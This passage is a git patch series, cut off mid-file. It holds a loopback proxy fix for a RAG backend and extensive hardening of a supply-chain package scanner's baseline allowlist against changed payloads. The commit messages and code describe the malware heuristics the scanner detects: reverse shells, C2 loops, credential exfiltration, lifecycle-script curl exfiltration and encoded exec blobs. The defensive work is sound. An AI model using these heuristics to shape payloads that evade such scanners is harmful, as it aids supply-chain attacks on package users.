From 0ea727a0b2c8d8771e467a149d1701d1d5816a62 Mon Sep 17 00:00:00 2001 From: Daniel Han Date: Wed, 1 Jul 2026 03:58:08 -0700 Subject: [PATCH 01/27] Studio RAG: disable trust_env on loopback llama-server httpx clients (#6775) * Studio RAG: disable trust_env on loopback llama-server httpx clients The RAG embedder health probe (embed_llama_server.py), its pooled httpx.Client, and the vision captioner (captioner.py) call the local 127.0.0.1 llama-server with httpx's default trust_env=True, so an ambient HTTP(S)_PROXY that returns 503 for loopback breaks embedder startup and captioning. Set trust_env=False on these loopback clients, matching the existing fix on the main llama_cpp and inference clients. External provider calls are untouched. Follow-up to the loopback trust_env fix; covers the remaining local llama-server clients in the RAG path. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio RAG tests: accept trust_env kwarg in captioner httpx.post mocks The loopback captioner now passes trust_env=False; update the _vision_complete fake_post stubs to accept it and assert it is False. * Trim comments in Studio RAG trust_env fix (comment-only) * RAG trust_env test: explicit UTF-8 read + scan all package .py files Addresses review: utf-8 open avoids a Windows decode error, and scanning every .py in core/rag catches any future file that adds an httpx call. --------- Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com> --- studio/backend/core/rag/captioner.py | 2 + studio/backend/core/rag/embed_llama_server.py | 8 +-- studio/backend/tests/test_rag_captioning.py | 9 ++-- .../tests/test_rag_loopback_trust_env.py | 52 +++++++++++++++++++ 4 files changed, 64 insertions(+), 7 deletions(-) create mode 100644 studio/backend/tests/test_rag_loopback_trust_env.py diff --git a/studio/backend/core/rag/captioner.py b/studio/backend/core/rag/captioner.py index e29c9c9a7a..6d1512a770 100644 --- a/studio/backend/core/rag/captioner.py +++ b/studio/backend/core/rag/captioner.py @@ -128,6 +128,8 @@ def _vision_complete( json = payload, timeout = timeout, headers = _vision_auth_headers(), + # trust_env=False: base_url is the loopback backend; skip any HTTP(S)_PROXY. + trust_env = False, ) r.raise_for_status() text = r.json()["choices"][0]["message"]["content"] diff --git a/studio/backend/core/rag/embed_llama_server.py b/studio/backend/core/rag/embed_llama_server.py index c2e4ecc740..f53478463c 100644 --- a/studio/backend/core/rag/embed_llama_server.py +++ b/studio/backend/core/rag/embed_llama_server.py @@ -61,9 +61,8 @@ class LlamaServerBackend: self._binary: str | None = None # Sticky after an auto GPU start fails: later spawns stay on CPU. self._force_cpu = False - # Pooled client; requests pass full URLs, so a respawn's new port needs - # no rebuild. - self._client = httpx.Client(timeout = config.EMBED_REQUEST_TIMEOUT_S) + # Pooled client (full URLs per request survive a respawn); trust_env=False skips HTTP(S)_PROXY. + self._client = httpx.Client(timeout = config.EMBED_REQUEST_TIMEOUT_S, trust_env = False) atexit.register(self._shutdown) @property @@ -305,7 +304,8 @@ class LlamaServerBackend: logger.error("llama-server embedder exited early (code %s)", code) return False try: - if httpx.get(url, timeout = 2.0).status_code == 200: + # trust_env=False: a proxy that 503s 127.0.0.1 must not block this probe. + if httpx.get(url, timeout = 2.0, trust_env = False).status_code == 200: return True except (*_TRANSPORT_ERRORS, httpx.TimeoutException): pass diff --git a/studio/backend/tests/test_rag_captioning.py b/studio/backend/tests/test_rag_captioning.py index f475c9e374..5ae0926990 100644 --- a/studio/backend/tests/test_rag_captioning.py +++ b/studio/backend/tests/test_rag_captioning.py @@ -172,8 +172,8 @@ def test_vision_complete_sends_auth_header(monkeypatch): def json(self): return {"choices": [{"message": {"content": "ok"}}]} - def fake_post(url, *, json, timeout, headers): - captured.update(url = url, headers = headers) + def fake_post(url, *, json, timeout, headers, trust_env): + captured.update(url = url, headers = headers, trust_env = trust_env) return _Resp() monkeypatch.setattr(httpx, "post", fake_post) @@ -182,6 +182,7 @@ def test_vision_complete_sends_auth_header(monkeypatch): ) assert out == "ok" assert captured["headers"] == {"Authorization": "Bearer secret"} + assert captured["trust_env"] is False def test_vision_complete_omits_header_when_unauthenticated(monkeypatch): @@ -198,13 +199,15 @@ def test_vision_complete_omits_header_when_unauthenticated(monkeypatch): def json(self): return {"choices": [{"message": {"content": "ok"}}]} - def fake_post(url, *, json, timeout, headers): + def fake_post(url, *, json, timeout, headers, trust_env): captured["headers"] = headers + captured["trust_env"] = trust_env return _Resp() monkeypatch.setattr(httpx, "post", fake_post) captioner._vision_complete("http://x", "local", b"i", prompt = "p", timeout = 5.0, max_tokens = 8) assert captured["headers"] is None + assert captured["trust_env"] is False def test_merge_page_captions_dedups(): diff --git a/studio/backend/tests/test_rag_loopback_trust_env.py b/studio/backend/tests/test_rag_loopback_trust_env.py new file mode 100644 index 0000000000..1945e09982 --- /dev/null +++ b/studio/backend/tests/test_rag_loopback_trust_env.py @@ -0,0 +1,52 @@ +"""AST test locking in the RAG loopback trust_env fix: every httpx client/call in the RAG +package (all target the local 127.0.0.1 llama-server) must set trust_env=False.""" + +import ast +import os + +RAG_DIR = os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))), "core", "rag") +HTTPX_CALLEES = {"get", "post", "stream", "request", "Client", "AsyncClient"} + + +def _httpx_calls(path): + with open(path, encoding = "utf-8") as f: + tree = ast.parse(f.read(), filename = path) + calls = [] + for node in ast.walk(tree): + if not isinstance(node, ast.Call): + continue + func = node.func + if ( + isinstance(func, ast.Attribute) + and func.attr in HTTPX_CALLEES + and isinstance(func.value, ast.Name) + and func.value.id == "httpx" + ): + calls.append(node) + return calls + + +def _sets_trust_env_false(call): + for kw in call.keywords: + if kw.arg == "trust_env" and isinstance(kw.value, ast.Constant) and kw.value.value is False: + return True + return False + + +def test_rag_loopback_httpx_clients_disable_trust_env(): + # Scan every .py in the package so a new file with an httpx call can't bypass this. + checked = 0 + for fname in sorted(f for f in os.listdir(RAG_DIR) if f.endswith(".py")): + path = os.path.join(RAG_DIR, fname) + for call in _httpx_calls(path): + checked += 1 + assert _sets_trust_env_false(call), ( + f"httpx.{call.func.attr} at {fname}:{call.lineno} must set trust_env=False " + f"(loopback llama-server client must not honor ambient HTTP(S)_PROXY)" + ) + assert checked >= 3, f"expected at least 3 loopback httpx calls, found {checked}" + + +if __name__ == "__main__": + test_rag_loopback_httpx_clients_disable_trust_env() + print("OK: all RAG loopback httpx clients set trust_env=False") From 73d9653d5be1195536491c30749cc50f6dffa060 Mon Sep 17 00:00:00 2001 From: Daniel Han Date: Wed, 1 Jul 2026 04:03:59 -0700 Subject: [PATCH 02/27] scan_packages: key baseline on matched-code hash so payloads in baselined files are not auto-suppressed (#6552) * scan_packages: key baseline on matched-code hash The baseline matched on (package, package-relative file, check), which excluded the matched code, so a future finding of the same check in the same file was suppressed regardless of what the code did. A malicious future version of an already-baselined package could place a payload in the same file under the same check and pass the enforcing gate. Key the baseline on a hash of the matched code too. The hash is over the deduped, sorted set of matched spans with L: line markers stripped, so version bumps, line shifts and match reordering stay stable while new or changed flagged code reopens the finding. Version is left out of the key so routine dependency bumps do not reopen every entry. The hash is capped and recomputable from the stored evidence. Regenerate scan_packages_baseline.json against the current dependency set; the hf-stack, studio and extras scan shards pass enforcing (no active CRITICAL or HIGH). * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * scan_packages: refresh baseline for newer unsloth-zoo release A newer unsloth-zoo published after the first regenerate added tests/test_mlx_save_export_regressions.py, a benign test fixture (temporary_location="/tmp/ignored") that trips the /tmp dropper check. Regenerate the hf-stack shard against the current set so the entry is allowlisted; studio and extras are unchanged. * scan_packages: harden baseline loading against malformed JSON Guard against a non-dict top-level baseline and non-dict entries so a corrupt or hand-edited allowlist warns and fails closed instead of crashing with AttributeError, and treat an explicit evidence: null as empty. * scan_packages: hash the full match set, keep indentation, strip only the marker Address the evidence-hash review feedback: - Capture every matching line, not the first three, so a payload appended after existing matches in a baselined file and check reopens the finding instead of riding the sample. - Preserve leading indentation so a flagged line moved out of a guarded block reads as changed. - Strip only each span's prefix up to the first L: marker, so an L: inside the matched code is kept and a change to it reopens the finding. Evidence and its hash are stored in full and stay recomputable from the stored field. Regenerate the baseline; hf-stack, studio and extras pass enforcing with no active CRITICAL or HIGH. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * scan_packages: bind baseline evidence to full matched code Address review feedback on the evidence-hash baseline key: - Split evidence only on real span delimiters (" | " before an L: marker, or a newline), so a bitwise-or or union type in matched code is no longer split apart into separate spans. - Record matched lines in full (drop the 160-char per-line cap) and record every distinct multiline match, so code appended past the cap or a second cross-line match reopens the finding instead of riding the first one. - Give the large-JS-bundle and .pth base64-blob findings a content digest instead of empty or prefix-only evidence, and record all .pth import lines, so a changed bundle, blob or import no longer inherits a baselined empty or truncated key. - Warn when a loaded baseline has entries without evidence_hash so a legacy baseline is regenerated rather than silently degraded. Regenerate scripts/scan_packages_baseline.json against the current dep set and add regression tests for each case. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * scan_packages: harden multiline and duplicate evidence handling Follow-up hardening so the evidence hash tracks the full matched code: - For DOTALL patterns that match across lines, record every line the match spans (not just the start line), so a change on a continuation line (the URL inside a baselined C2 loop, a swapped credential path) reopens the finding. A pathological greedy span is bounded to its head line plus a digest of the rest. - Keep duplicate spans in the canonical evidence so a second identical matched line in a new code path changes the key instead of deduping away. - Anchor the evidence prefix to strip only a genuine leading label or line-number marker, leaving a marker-like "L:" inside raw .pth code intact. - Make the legacy-baseline warning explicit that entries without an evidence_hash reopen rather than suppress under a coarse key. Regenerate scripts/scan_packages_baseline.json (same finding set; entries for same-file repeated checks are now tracked separately) and add tests. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * scan_packages: bind every combo and large finding to its full content Close the remaining asymmetric-evidence gaps so a changed payload cannot ride a reviewed baseline entry: - Digest a capped multiline span from the code without line markers, so a pure line shift stays stable while a continuation-line change reopens. - Give the "Unusually large executable .pth" finding a content digest instead of keying on byte size and import-line count alone. - Record both contributing signals for the JS credential+network stealer, the shell credential+network and persistence-hook combos, and the hidden network+exec docstring payload, so changing the network/exec side reopens. - Allow punctuation in an evidence label prefix so a "network+exec:" label is stripped and line shifts do not change the key. Regenerate scripts/scan_packages_baseline.json and add tests for each case. * scan_packages: bind remaining Python combos; key npm baseline on evidence Python scanner: the openssl+key, anti-analysis, DNS-exfil and base64+exec+blob combos recorded only one contributing signal, so a changed payload on the other side could ride a reviewed baseline entry. Each now binds every co-occurring signal (and the blob is digested, since it can sit on a separate line from the decode call). npm scanner: scan_npm_packages.py keyed its allowlist on (package, path, pattern) only, the same coarse-key bypass the Python scanner just closed. Add an evidence hash to the key (schema v3, fail-closed on older baselines) and store full evidence. The committed baseline stays empty by design. Regenerate scripts/scan_packages_baseline.json and add tests for each case. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * scan_npm_packages: bind full blob evidence and harden baseline loader Follow-up on the npm evidence-hash key: - _evidence now records every match and, when a snippet is truncated for display, appends a digest of the full match. The obfuscated-blob key was hashing only the truncated first-match snippet, so a changed payload tail or an appended blob in the same package/file/pattern could ride a reviewed entry. - _load_baseline guards that the root is an object, entries is a list, and each entry is a dict before reading it, so a malformed baseline warns and fails closed instead of raising AttributeError. Add tests for a changed blob tail reopening the key and for malformed entries. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * scan_packages: symmetric baseline-loader guards; bind npm outbound host context - Python _load_baseline now rejects a non-list "entries" with a warning instead of raising TypeError, matching the npm loader. - npm cred-surface-host (outbound) records the host with its URL path / fetch call / host config, so a changed outbound path, headers or body reopens the key rather than riding the bare host literal. Add tests for both. * scan_npm_packages: migrate v2 baselines and bind host-config outbound context - _load_baseline now migrates schema v2 entries by recomputing the evidence hash from stored evidence (with a legacy warning), matching the Python loader, instead of discarding them; only pre-v2 basename schemas are rejected. - The cred-surface-host (outbound) host-config branch now captures the whole line (path, headers, body), so a changed outbound payload on the same hostname line reopens the key instead of riding the bare host snippet. Add tests for v2 migration and the host-config context binding. * scan packages: bind PEM key bodies and npm windowed evidence to baseline keys scan_packages: embedded-key findings now pin the full PEM block (BEGIN..END) via a content digest, so a key body swapped under the same marker reopens the finding instead of riding the unchanged BEGIN line. Single-line and DER keys were already bound by their full matched line; marker-only references with no END block (validation header lists) are unaffected, so the committed baseline is unchanged. scan_npm_packages: _evidence now digests the full containing line whenever the shown snippet is only a window into it (short match on a long line, or a truncated payload), so a changed payload tail outside the display window reopens the key. The npm baseline is empty, so this changes no suppressions. Adds regression tests for both cases. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * scan packages: bind multi-line evidence and every blob to baseline keys _extract_evidence now extends each single-line match over its bracket continuations, so a multi-line call binds its argument lines and a changed URL or body on a continuation line reopens the key. After the per-line pass it also records cross-line matches the scan cannot otherwise see (a DOTALL regex, or a multi-line construct appended under a check that already had a one-line match), so an appended multiline payload reopens instead of riding the key. _blob_digest hashes every large base64 blob (not just the first) for the base64+exec finding and the .pth large-blob finding, so an appended or swapped second encoded payload reopens; single-blob files keep the same digest. scan_npm_packages _evidence digests the full logical line (the matched line plus its bracket-continuation lines), so a multi-line fetch's option and header lines bind and a changed payload on a following line reopens the outbound key. Regenerated the Python baseline: same package/file/check set, 24 entries pick up the wider multi-line evidence. Adds regression tests for each case. * scan packages: stop giant greedy spans from binding a whole-file digest When a greedy DOTALL pattern (reverse shell socket...subprocess, C2 loop) has its anchor tokens far apart, the match span covers the whole file. Digesting that span bound thousands of unrelated lines, so the evidence hash drifted on any edit between the anchors (a dependency bump reshuffling the file), which made a baselined finding reopen on an upstream release. The multiline pass now skips an oversized span when the per-line pass already bound the signal lines, so the evidence is the stable matched lines; a genuinely appended multi-line construct stays under the cap and is still recorded. Regenerated the Python baseline against Python 3.12 (the version the scan CI shards run) so the resolved dependency set matches CI. Same package/file/check set. Adds a regression test. * scan packages: tighten evidence binding (order, string brackets, span size) Address review follow-ups on the evidence extraction: - _canon_evidence keeps discovery (line) order instead of sorting. Line-shift stability already comes from stripping the L: markers, so order stays significant and reordering matched lines (a multi-line call's arguments) reopens the finding. - _logical_line_end (Python) and _logical_line_text (npm) blank string literals before counting brackets, so a ) inside a string argument does not close the logical line early and drop later argument lines. - The oversized-span skip now only drops a giant whole-file bridge (over 60 lines); a genuinely appended multi-line construct is recorded so its payload reopens, rather than riding an existing one-line match. - npm _logical_line_text binds the enclosing bracket group, so a host-config object whose { is on a prior line binds its path/headers/body lines. Regenerated the Python baseline (Python 3.12, matching the scan CI shards): same package/file/check set. Adds regression tests for each. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * scan npm packages: normalize and bound the logical-line digest - _evidence whitespace-normalizes the logical line before digesting (matching _evidence_hash), so a formatter-only reindent of the bound continuation lines does not change the sha256 suffix and reopen an unchanged finding. - _logical_line_text follows a bracket group to its close up to a hard 200-line cap (digest input only), so a config object longer than the backward window still binds its whole tail instead of silently truncating. Adds regression tests. npm baseline is empty, so no regeneration is needed. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * scan: cap single-line evidence and widen npm opener window Cap each rendered evidence line at 200 chars in scan_packages.py: a long or minified one-line file is shown as a bounded prefix plus a sha256 of the full line, so a packed payload cannot dump unbounded content into the CI logs or baseline while a change past the cutoff still changes the digest and reopens the finding. Mirrors how the npm scanner bounds its snippets. Widen the npm backward opener window (_MAX_CONT_LINES 12 to 200, symmetric with the forward cap) so a host deep inside a large options object binds the whole object, not just its own line; a changed path, header, or body on any property reopens. Regenerate the Python baseline with Python 3.12: only the protobuf nspkg.pth and unsloth-zoo compiler.py evidence change, both from the new line cap; the package/file/check key set is unchanged. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * scan: bind all host contexts, deep call continuations, far-back npm openers Three fail-closed evidence gaps surfaced by review of the previous round. scan_npm_packages.py: measure the forward bracket-group cap from the matched line (idx + _MAX_GROUP_LINES) instead of the opener, so an opener found near the widened backward limit no longer consumes the forward budget and drops the path, headers, or body that follow the host. scan_npm_packages.py: _outbound_host_evidence now records every outbound context form for a host (URL, fetch-context, host-config), claiming each non-overlapping match in form order, so a separate host-config request added beside an already-baselined URL changes the evidence and reopens the key. The common single-context case keeps its existing snippet. scan_packages.py: follow a matched Python call over its continuations up to a separate _MAX_CALL_LINES (40), decoupled from the 12-line display threshold, so a multi-line requests.post( binds its whole argument list in the digest and a changed body deep in the call reopens; bounded so a miscounted bracket cannot swallow unrelated code. No baseline change: the current dependency set has no matched call that closes between 13 and 40 lines, confirmed by a Python 3.12 regenerate that produced a byte-identical baseline. * scan: clamp npm depth, pin large bundles, follow backslash and bound .pth dump Four fail-closed evidence gaps surfaced by review of the previous round. scan_npm_packages.py: clamp the backward opener scan at depth 0 so a leading unmatched closer (a preceding block whose opener is outside the backward window) no longer drives depth negative and masks the real enclosing opener that follows; a host-config object after such a block now binds and a changed path reopens. scan_packages.py: a large JS bundle now pins its whole content even when another JS heuristic already fired. The bundle digest was only added when no other finding existed; it is now appended to every finding's evidence on a large bundle, so an unchanged obfuscation signature no longer lets changed payload elsewhere ride the matched-line key. scan_packages.py: _logical_line_end follows explicit backslash line continuations, so a call split with a backslash before its parenthesis binds the continuation line (URL/body) instead of returning at the zero-depth API line. scan_packages.py: the catch-all .pth import evidence is bounded through _cap_line (prefix plus a digest of every line) so a large .pth of benign imports cannot dump the whole member into the logs or baseline while an appended or swapped import still reopens. Baseline regenerated with Python 3.12: key set unchanged; one entry (unsloth-zoo compiler.py) gains the backslash-continued banner lines now bound by the continuation fix. * scan: handle multi-line strings, lifecycle bodies, and de-quadratic evidence Addresses a review round plus a performance audit of the evidence extractor. Correctness (fail-closed): - Bind the UNION of the single-line-blanked and multi-line-blanked bracket spans in both scanners. The multi-line view blanks a triple-quoted Python string or a backtick template literal that spans lines, so a `)` inside such a string no longer closes the enclosing call early and drop later arguments. The single-line view still counts a payload embedded INSIDE a string, so a dropper that hides a call in a string keeps its argument lines bound. Taking the larger span never shrinks the binding below either view, avoiding a fail-open regression. - cred-env-in-lifecycle now pins the whole lifecycle script body via a digest, so a changed non-token line (e.g. adding a curl exfil beside the token reference) reopens, not just a change on the token line. Performance / DoS (the scanner runs on attacker-controlled package files up to the 64 MiB / 16 MiB member caps, with no per-file time budget): - _extract_evidence precomputes newline offsets once and maps match offsets with bisect, removing the O(matches) whole-file content.count per match that made the finditer fallback quadratic (a crafted minified file went from ~13 s/MiB and hours at the cap to linear). - npm _index_text splits and string-blanks the file once per evidence call instead of per match (was O(matches x file) time and allocation). - Bound evidence output: _MAX_EVIDENCE_SPANS (Python) and _MAX_EVIDENCE_MATCHES (npm) fold the remainder into a digest so a file with thousands of matches cannot build a multi-megabyte evidence/baseline blob while an added/removed match past the cap still changes the key. - _outbound_host_evidence caps matches per form and bounds the overlap claim so a host repeated many times cannot make it quadratic. No baseline change: a Python 3.12 regenerate is byte-identical (the union equals the legacy single-line span for every current dependency file; the cap thresholds sit above the largest real entry), so these are forward-looking hardening with no drift. * scan: count all overflow matches, bind their context, blank JS regex literals Follow-ups on the evidence output caps from the previous commit. - _outbound_host_evidence no longer truncates each pattern's match iterator with islice; it iterates every match and runs the overlap dedup only while the display list is below the cap (so claimed stays bounded and the check is O(cap) per match, not quadratic), folding every match past the cap into the overflow digest. A host context beyond the 64th is counted again, so it reopens. - The overflow digest (both scanners, via a shared _overflow_digest) binds each overflow match's logical-line context, not just the regex match text, so a changed payload on an over-cap line reopens even with the matched token unchanged. - The multi-line JS blanked view now blanks regex-literal bodies (tracking the previous significant char for regex-vs-division and char classes for a literal `/` inside `[...]`), so a `)` inside `/)/` no longer closes an outbound call early. The bound span is the union of the single-line and multi-line views, so an imperfect regex decision only ever grows the span, never shrinks it. - The Python overflow digest canonicalizes spans (strips L: markers via _canon_evidence) before hashing, restoring line-shift stability for the over-cap region. No baseline change: the overflow branches only trigger above the per-finding caps (above the largest real entry), and the npm baseline is empty, so a Python 3.12 regenerate is byte-identical. * scan: refresh baseline for ipython interactiveshell.py span drift A newer ipython release changed the filesystem-enumeration span in IPython/core/interactiveshell.py, so its content digest no longer matched the baselined evidence and the studio scan shard flagged it as a non-baselined CRITICAL. Regenerated with Python 3.12: only the ipython entry's evidence_hash changes; the package/file/check key set is unchanged, and a studio enforcing spot-check exits 0. * Bound scanner evidence memory: stream overflow spans and cap lifecycle baseline size scan_packages.py: _extract_evidence no longer materializes a rendered span per match before slicing at the display cap. Once out holds _MAX_EVIDENCE_SPANS spans, further spans fold straight into a running digest, so a minified or padded file with hundreds of thousands of matching lines keeps memory bounded to the display cap instead of the match count. The fold reproduces _canon_evidence(" | ".join(overflow)) byte for byte, so the overflow digest and every baseline key are unchanged. scan_npm_packages.py: lifecycle-fetch-exec and cred-path-in-lifecycle stored the entire install script body as evidence, so --write-baseline on a package with a multi-MiB lifecycle script bloated the baseline JSON. Both now store a bounded matched snippet plus a body-sha256 digest, matching cred-env-in-lifecycle. The digest still binds the whole body, so a change to any line reopens the finding. Adds tests for the streamed overflow bound and the bounded-but-reopens lifecycle evidence. Baseline unchanged (byte-identical Python evidence; npm baseline empty). * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Make npm bracket-group scan order-aware so a same-line close-then-open binds _scan_group counted brackets with a per-line net (opens minus closes), which collapses intra-line order: a line that closes a prior block and then opens the host-config object on the same line, e.g. `}); const opts = {`, nets to <= 0, so the trailing `{` was dropped and the group started at the hostname line. A changed path/headers on the following lines then hashed to the same evidence and could ride an existing baseline key. Replace the net count with an order-aware (L, R) reduction per line (L closers needing an opener to the left, R openers needing a closer to the right) and apply it in order in both the backward and forward scans, clamping stray closers at 0. The trailing opener now stays visible so the whole object binds and a changed payload reopens. Per-line cost is unchanged (one C-level bracket findall), so the existing outbound-host evidence is byte-identical on all prior shapes; only the previously-dropped same-line case changes. Adds a regression test for it. * Harden scanner evidence: bound memory and bind Python call tails fail-closed Five fixes across both scanners, none of which change the committed baseline (a full regen of all three pip shards produced a byte-identical 185-key set). scan_npm_packages.py: _evidence and _outbound_host_evidence collected every regex match into a list before applying the 64-match display cap, so a text file under the size cap that repeats a cheap signal (such as NPM_TOKEN) millions of times could allocate a huge list of re.Match objects and stall or OOM before the overflow digest ran. They now stream from finditer and fold overflow as matches arrive via a shared _fold_overflow_match helper, byte-identical to the prior digest. scan_packages.py: - _extract_evidence kept inserting every unique over-cap span into the seen set even after it stopped appending to the display list, so a generated file with millions of one-line matches still grew that set unbounded. It now tracks spans only while filling the display list (per-line spans are unique by line number, so dropping them past the cap cannot miss a dedup). - _scan_line_end counted brackets with a per-line net, so a continued statement that closes on the same line it opens a flagged call (a leading "]" before "requests.post(") had the call's open paren cancelled and bound only the opener line. It now applies brackets in order via _bracket_lr (leading closers clamp at 0), matching the npm bracket fix. - a single-quoted string continued by a trailing backslash was not tracked across lines, so a close paren inside the continued string on the next line closed the call early; _blank_code_strings now carries the continuation. - a call with more argument lines than the soft cap was hashed only through the cap, so a changed data=/headers tail past it stayed suppressed; a closing call is now followed to its real close under a 200-line hard limit (a never-closing opener still stops at the 40-line soft cap so it cannot swallow the file). Adds regression tests for each. npm baseline is empty; the Python baseline is unchanged (verified byte-identical by regenerating all three shards). * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Bind giant DOTALL span anchors and add context to constant IOC evidence Two fail-closed gaps where a changed payload could keep the same evidence hash and stay suppressed by the baseline. scan_packages.py: a giant greedy DOTALL span (a cross-line IOC match bridging more than 60 lines, e.g. RE_TEMP_EXEC matching a /tmp line and a much-later subprocess line) was dropped entirely once the per-line pass had any match, so an appended cross-line payload -- a new /tmp line plus a later subprocess line that share no single line, so the per-line pass never binds them -- produced the same evidence and rode the key. The span is no longer dropped: it is bound by its head and tail anchor lines plus a digest over just those (no line numbers, so a pure line shift is stable). An added or moved anchor reopens the finding, while churn in the bridged interior stays stable, so this does not reintroduce whole-file drift. Two baseline entries (multiprocess test, unsloth-zoo scanner file) carry such a span and are refreshed; a full three-shard regen confirmed only those two keys change. scan_npm_packages.py: known-ioc-string and cred-surface-host (always-bad) recorded only the bare needle/host as evidence, so a reviewed tarball that kept the IOC string while altering the adjacent fetch/exfil body produced an identical key. They now bind matched-line context: known-ioc-string via the matched line and its bracket-group continuation, cred-surface-host (always-bad) via the outbound call context (path/headers/body, falling back to the bare host when not in an outbound call). A changed payload on the same call now reopens. Adds regression tests for each. npm baseline is empty; the Python baseline updates only the two giant-span entries. * Hash giant-span interiors, bind exec/eval trigger, JS content, intra-literal whitespace Four fail-closed gaps where a changed payload could keep the same evidence hash. scan_packages.py: - A giant bridged DOTALL span was bound only by its head and tail anchors, so a cross-line payload inserted into the bridged interior between unchanged outer anchors kept the same key. The whole span content is now digested (via _render), so any interior change reopens; a pure line shift stays stable because the digest is over the markerless code. Two baseline entries (multiprocess test, unsloth-zoo scanner file) carry such a span; with full-interior binding, multiprocess resolved at two versions across shards now yields two distinct entries where the anchor digest had collapsed them into one. - The exec/eval-with-hidden-payload findings omitted the visible exec/eval line that makes the hidden string executable, so flipping a harmless eval("1+1") to exec(__doc__) kept the same key while arming the payload. The trigger line from the real-code view is now bound into the evidence. - check_js_file extracted evidence with the Python-string-aware extractor, which does not blank JS backtick template literals, so a template containing a close paren closed a call's bracket span early and omitted later option/body lines. The full file content digest is now pinned to every JS finding (not just large bundles), binding the whole call. scan_npm_packages.py: the evidence canon collapsed all whitespace via split(), erasing whitespace inside JS string literals along with harmless indentation, so a changed request body 'a b' -> 'a b' kept the same key. A new _canon_preserve_strings collapses whitespace only OUTSIDE string literals (reindent-stable) while preserving it INSIDE single/double/backtick literals (intra-payload edits reopen). Used for the evidence hash and the logical-line digests. Adds regression tests for each. npm baseline is empty; the Python baseline updates the two giant-span entries and adds the second multiprocess version's entry. --------- Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com> --- scripts/scan_npm_packages.py | 535 +++++++++++++- scripts/scan_npm_packages_baseline.json | 4 +- scripts/scan_packages.py | 595 ++++++++++++++-- scripts/scan_packages_baseline.json | 800 +++++++++++++-------- tests/security/test_scan_npm_packages.py | 541 +++++++++++++- tests/security/test_scan_packages.py | 866 ++++++++++++++++++++++- 6 files changed, 2917 insertions(+), 424 deletions(-) diff --git a/scripts/scan_npm_packages.py b/scripts/scan_npm_packages.py index c1d156d40a..47b85147ca 100644 --- a/scripts/scan_npm_packages.py +++ b/scripts/scan_npm_packages.py @@ -40,8 +40,10 @@ from __future__ import annotations import argparse import atexit import base64 as _b64 # imported only so the IOC string-scan can detect it +import bisect import hashlib import io +import itertools import json import os import re @@ -897,20 +899,364 @@ def safe_extract( # ───────────────────────────────────────────────────────────────────── +# How far back to look for an enclosing bracket opener. Symmetric with the +# forward cap so a host that sits deep inside a large options object (its opening +# `{` many properties above) still binds the whole object, not just its own line; +# a too-far start only over-binds (more context, still fail-closed), never less. +_MAX_CONT_LINES = 200 +# Hard cap on how far forward a bracket group is followed to its close, measured +# from the matched line so the tail after the match is always reachable even when +# the opener was found near the backward limit (digest input only, never +# displayed); a realistic config object closes well within it. +_MAX_GROUP_LINES = 200 + +# JS string literal (single / double / template), blanked before counting +# brackets so a bracket inside a string is not mistaken for code. +_RE_JS_STR = re.compile(r"'(?:[^'\\]|\\.)*'|\"(?:[^\"\\]|\\.)*\"|`(?:[^`\\]|\\.)*`") + + +_RE_BRACKETS = re.compile(r"[()\[\]{}]") +_OPENERS = frozenset("([{") + + +def _bracket_lr(line: str) -> tuple[int, int]: + """Order-aware bracket reduction of one already-string-blanked line: ``(L, R)`` + where ``L`` is the count of closers with no opener earlier on the line (they + need an opener to the LEFT / on a prior line) and ``R`` is the count of openers + with no closer later on the line (they need a closer to the RIGHT / on a later + line). A plain net count (opens minus closes) collapses order and so masks a + trailing opener that follows leading closers on the same line, e.g. + ``}); const opts = {`` nets -1 and hides the ``{`` that opens the host-config + object; tracking the running minimum keeps that opener visible so the group + binds the path/headers that follow. Only bracket characters are walked (pulled + out with one C-level regex pass) so a long minified line stays cheap.""" + depth = 0 + low = 0 + for ch in _RE_BRACKETS.findall(line): + if ch in _OPENERS: + depth += 1 + else: + depth -= 1 + if depth < low: + low = depth + return -low, depth - low + + +def _find_unescaped(line: str, quote: str, start: int) -> int: + """Index of the next ``quote`` at or after ``start`` not escaped by a backslash, + or -1. Skips ``\\x`` pairs so an escaped quote inside the string is ignored.""" + i, n = start, len(line) + while i < n: + if line[i] == "\\": + i += 2 + continue + if line[i] == quote: + return i + i += 1 + return -1 + + +# A `/` is a regex literal (not division) when the previous significant character +# is none (start) or one of these expression-position chars. Used only by the +# multi-line blanked view, and the span is unioned with the single-line view, so +# an over- or under-detection only ever grows the bound span (never shrinks it). +_JS_REGEX_PRECEDERS = frozenset("([{,;:?=&|!+-*/%^~<>") + + +def _blank_js_strings(lines: list[str]) -> list[str]: + """Replace string contents (single, double, multi-line backtick template + literals) AND regex literal bodies with spaces across ``lines``, keeping the + line count and every bracket OUTSIDE a string/regex intact, so bracket counting + never miscounts a ``)`` that lives inside a string -- including a template + literal spanning several lines or a ``/)/`` regex -- which a per-line regex + cannot blank. Escapes are honoured.""" + out: list[str] = [] + in_back = False # inside a multi-line `template` literal + prev_sig = "" # last significant non-space char (for regex-vs-division) + for line in lines: + buf: list[str] = [] + i, n = 0, len(line) + while i < n: + if in_back: + end = _find_unescaped(line, "`", i) + if end == -1: + buf.append(" " * (n - i)) + i = n + else: + buf.append(" " * (end - i + 1)) + i = end + 1 + in_back = False + prev_sig = "`" + continue + ch = line[i] + if ch in " \t": + buf.append(ch) + i += 1 + continue + if ch in "'\"`": + end = _find_unescaped(line, ch, i + 1) + if end == -1: 